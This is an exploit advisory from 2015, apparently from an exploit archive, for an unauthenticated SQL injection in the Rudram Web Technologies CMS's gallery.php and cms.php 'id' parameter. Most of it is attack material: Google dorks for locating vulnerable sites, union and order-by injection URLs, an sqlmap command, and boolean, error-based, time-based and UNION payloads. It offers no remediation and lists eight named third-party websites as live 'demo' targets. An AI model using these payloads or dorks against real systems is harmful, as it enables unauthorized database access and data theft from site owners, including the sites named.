facebook facebook twitter rss

Rudram Web Technologies CMS - SQL Injection Vulnerability

Author: Shelesh Rauthan , Published: 24-07-2015
=========================================================
[+] Title :- Rudram Web Technologies CMS - SQL Injection Vulnerability
[+] Date :- 16 - July - 2015
[+] Vendor Homepage :- http://www.rudramweb.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "developed by www.rudramweb.com"
"developed by www.rudramweb.com" inurl:"php?id="
"developed by www.rudramweb.com" +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com

=========================================================
[+] Severity Level :- High

[+] Request Method(s) :- GET / POST

[+] Vulnerable Parameter(s) :- id

[+] Affected Area(s) :- Entire admin, database, Server

[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File :- /home/DOMAIN/public_html/gallery.php
/home/DOMAIN/public_html/cms.php

[+] POC :- http://127.0.0.1/gallery.php?id=[SQL]'

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.

select * from tbl_cms where cat_id = '30'' <---- sql Error


http://www.[WEBSITE].com/gallery.php?id=31' order by [SQL IN4JECTION]--+
http://www.[WEBSITE].com/gallery.php?id=31' union all select [SQL INJECTION]--+


SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/gallery.php?id=[SQL]" --dbs
++++++++++++++++++++++++++
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=31' AND 6015=6015 AND 'KFOS'='KFOS

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=31' AND (SELECT 6302 FROM(SELECT COUNT(*),CONCAT(0x7162787871,(SELECT (ELT(6302=6302,1))),0x716b6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hUrk'='hUrk

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=31' AND (SELECT * FROM (SELECT(SLEEP(5)))ZenN) AND 'vAlx'='vAlx

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=31' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162787871,0x6b5667444d697446447a,0x716b6b7171),NULL--
---

[+] DEMO :- http://bollywooddanceacademy.net/gallery.php?id=31'
http://www.rudramweb.com/cms.php?id=30'
http://www.maheeproductions.com/cms.php?id=46'
http://www.carominn.com/gallery.php?id=25'
http://www.dhepuchu.com/cms.php?id=22'
http://www.plasto-fab.com/cms.php?id=12'
http://www.nayenterprise.com/cms.php?id=61'
http://www.highlandinndsla.com/gallery.php?id=32'


=======================================================

# milw00rm.net [2015-07-12]

Like us on Facebook :